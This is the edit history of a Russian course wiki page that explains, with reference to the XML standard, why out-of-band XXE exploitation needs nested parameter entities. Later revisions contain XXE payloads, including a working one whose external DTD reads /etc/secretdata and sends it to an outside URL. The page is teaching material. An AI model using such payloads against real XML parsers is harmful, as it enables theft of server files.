Дополнительные главы практической безопасности (2021)/XXE - История изменений

Asterite в 20:53, 1 марта 2021

2021-03-01T20:53:19Z

← Предыдущая версия		Версия от 20:53, 1 марта 2021
Строка 39:		Строка 39:

	Поэтому часть с включением одной сущности в другую и резолвом внутри неё данных выносится во внешний XML, который подключаем с помощью внешней сущности:		Поэтому часть с включением одной сущности в другую и резолвом внутри неё данных выносится во внешний XML, который подключаем с помощью внешней сущности:
	<~~pre~~>		<syntaxhighlight lang="XML">
			<?xml version="1.0"?>
			<!DOCTYPE test [
			<!ENTITY % incl SYSTEM "http://bushwhackers.ru/testing.xml">
			%incl;
			%int;
			]>
			<test>&exfilt;</test>
			</syntaxhighlight>
			Где http://bushwhackers.ru/testing.xml содержит:
			<syntaxhighlight lang="XML">
			<!ENTITY % steal SYSTEM "file:///etc/secretdata">
			<!ENTITY % int '<!ENTITY exfilt SYSTEM "http://bushwhackers.ru/get?data=%steal;">'>
			</syntaxhighlight>

			Кстати, здесь при включении файла <code>/etc/secretdata</code> приходится использовать схему <code>file://</code>. Дело в том, что без неё <code>/etc/secretdata</code> проинтерпретируется как относительный URL на сервере откуда вы заинклудили XML (в данном случае на bushwhackers.ru), потому что в стандарте сказано: relative URIs are relative to the location of the resource within which the entity declaration occurs ([https://www.w3.org/TR/xml/#sec-external-ent) ссылка]).

Asterite в 20:48, 1 марта 2021

2021-03-01T20:48:30Z

← Предыдущая версия		Версия от 20:48, 1 марта 2021
Строка 24:		Строка 24:
	<pre>[11] SystemLiteral ::= ('"' [^"]* '"') \| ("'" [^']* "'")</pre>		<pre>[11] SystemLiteral ::= ('"' [^"]* '"') \| ("'" [^']* "'")</pre>

	Поэтому приходится прибегать к трюку с засовыванием объявления внешей сущности в не-внешнюю: <code><!ENTITY % int '<!ENTITY exfilt SYSTEM "http://bushwhackers.ru/get?data=%steal;">'></code> - поскольку сущность <code>int</code> не внешняя, её значение это entity value literal, в котором по стандарту параметрическая сущность подставляться может		Поэтому приходится прибегать к трюку с засовыванием объявления внешей сущности в не-внешнюю: <code><!ENTITY % int '<!ENTITY exfilt SYSTEM "http://bushwhackers.ru/get?data=%steal;">'></code> - поскольку сущность <code>int</code> не внешняя, её значение это entity value literal, в котором по стандарту параметрическая сущность подставляться может. А затем уже разрезолвим сущность <code>exfilt</code>, в которую данные уже подставились.
			Такой эксплоит можно было бы попробовать сделать так:
			<syntaxhighlight lang="XML">
			<?xml version="1.0"?>
			<!DOCTYPE test [
			<!ENTITY % steal SYSTEM "/etc/secretdata">
			<!ENTITY % int '<!ENTITY exfilt SYSTEM "http://bushwhackers.ru/get?data=%steal;">'>
			%int;
			]>
			<test>&exfilt;</test>
			</syntaxhighlight>

			Однако, это тоже не сработает: парсер упадёт с ошибкой типа <code>The parameter entity reference "%steal;" cannot occur within markup in the internal subset of the DTD.</code>. Internal subset of the DTD это DTD, написанный в самом XML-документе. Дело в том, что по стандарту XML в internal subset ссылки на параметрический сущности не могут находиться внутри объявления других сущностей: In the internal DTD subset, parameter-entity references must not occur within markup declarations; they may occur where markup declarations can occur. Однако, если часть DTD находится не в самом XML, а включена в него внешней сущностью или внешним DTD, то такого запрета нет: (This does not apply to references that occur in external parameter entities or to the external subset.).

			Поэтому часть с включением одной сущности в другую и резолвом внутри неё данных выносится во внешний XML, который подключаем с помощью внешней сущности:
			<pre>

Asterite в 20:37, 1 марта 2021

2021-03-01T20:37:35Z

← Предыдущая версия		Версия от 20:37, 1 марта 2021
Строка 3:		Строка 3:
	Итак, нам нужно как то отправить себе значение сущности (украденные с помощью внешней сущности данные) в условиях когда сервер нам в ответ никакие данные не возвращает. Для этого можно использовать '''[https://www.w3.org/TR/xml/#dt-PE parameter entitiy]''' - сущность, значение которой можно подставлять в DTD, она тоже может быть внешней.		Итак, нам нужно как то отправить себе значение сущности (украденные с помощью внешней сущности данные) в условиях когда сервер нам в ответ никакие данные не возвращает. Для этого можно использовать '''[https://www.w3.org/TR/xml/#dt-PE parameter entitiy]''' - сущность, значение которой можно подставлять в DTD, она тоже может быть внешней.
	Идея такая: считать данные в parameter entitity и подставить её значение в объявление другой внешней сущности, чтобы это значение стало частью урла. Тогда, когда эта другая сущность будет резолвиться, на этот урл сделается запрос и как его часть пошлются и украденные данные. Если урл ведёт на наш сервер, мы их получим.		Идея такая: считать данные в parameter entitity и подставить её значение в объявление другой внешней сущности, чтобы это значение стало частью урла. Тогда, когда эта другая сущность будет резолвиться, на этот урл сделается запрос и как его часть пошлются и украденные данные. Если урл ведёт на наш сервер, мы их получим.

			Таким образом, простой наивный эксплоит мог бы выглядеть так:
			<syntaxhighlight lang="XML">
			<?xml version="1.0"?>
			<!DOCTYPE test [
			<!ENTITY % steal SYSTEM "/etc/secretdata">
			<!ENTITY exfilt SYSTEM "http://bushwhackers.ru/get?data=%steal;">
			]>
			<test>&exfilt;</test>
			</syntaxhighlight>
			Однако, это не сработает: сущность <code>steal</code> не разрезолвится внутри урла сущности <code>exfilt</code> и на сервер пойдёт запрос c урлом <code>/get?data=%steal</code>.
			Параметрические сущности не резолвятся внутри URL внешних сущностей. Причина этого в том, по стандарту XML строка после <code>SYSTEM</code> в объявлении сущности не является '''значением сущности''' ('''entity value literal'''), это её [https://www.w3.org/TR/xml/#sec-external-ent '''system identifier'''], имеющий тип [https://www.w3.org/TR/xml/#NT-SystemLiteral SystemLiteral]. Таким образом, хотя синтаксически значение обычной сущности и урл внешней очень похожи, с точки зрения стандарта это разные контексты. А в литералах кроме entity value literal параметрические сущности не резолвятся: Parameter entity references are recognized anywhere in the DTD (internal and external subsets and external parameter entities), except in literals, .... ([https://www.w3.org/TR/xml/#sec-prolog-dtd стандарт XML]).

			Если посмотреть на грамматику литералов, то видно, что <code>EntityValue</code> рассчитан на то что в нём будут ссылки на параметрические сущности <pre>
			[9] EntityValue ::= '"' ([^%&"] \| PEReference \| Reference)* '"'
			\| "'" ([^%&'] \| PEReference \| Reference)* "'"
			</pre>

			A <code>SystemLiteral</code> нет
			<pre>[11] SystemLiteral ::= ('"' [^"]* '"') \| ("'" [^']* "'")</pre>

			Поэтому приходится прибегать к трюку с засовыванием объявления внешей сущности в не-внешнюю: <code><!ENTITY % int '<!ENTITY exfilt SYSTEM "http://bushwhackers.ru/get?data=%steal;">'></code> - поскольку сущность <code>int</code> не внешняя, её значение это entity value literal, в котором по стандарту параметрическая сущность подставляться может

Asterite в 20:00, 1 марта 2021

2021-03-01T20:00:24Z

← Предыдущая версия		Версия от 20:00, 1 марта 2021
Строка 1:		Строка 1:
	= Почему эксплуатация XXE out-of-band выглядит именно так =		== Почему эксплуатация XXE out-of-band выглядит именно так ==

			Итак, нам нужно как то отправить себе значение сущности (украденные с помощью внешней сущности данные) в условиях когда сервер нам в ответ никакие данные не возвращает. Для этого можно использовать '''[https://www.w3.org/TR/xml/#dt-PE parameter entitiy]''' - сущность, значение которой можно подставлять в DTD, она тоже может быть внешней.
			Идея такая: считать данные в parameter entitity и подставить её значение в объявление другой внешней сущности, чтобы это значение стало частью урла. Тогда, когда эта другая сущность будет резолвиться, на этот урл сделается запрос и как его часть пошлются и украденные данные. Если урл ведёт на наш сервер, мы их получим.

Asterite: Новая страница: «= Почему эксплуатация XXE out-of-band выглядит именно так =»

2021-03-01T19:43:49Z

Новая страница: «= Почему эксплуатация XXE out-of-band выглядит именно так =»

Новая страница

= Почему эксплуатация XXE out-of-band выглядит именно так =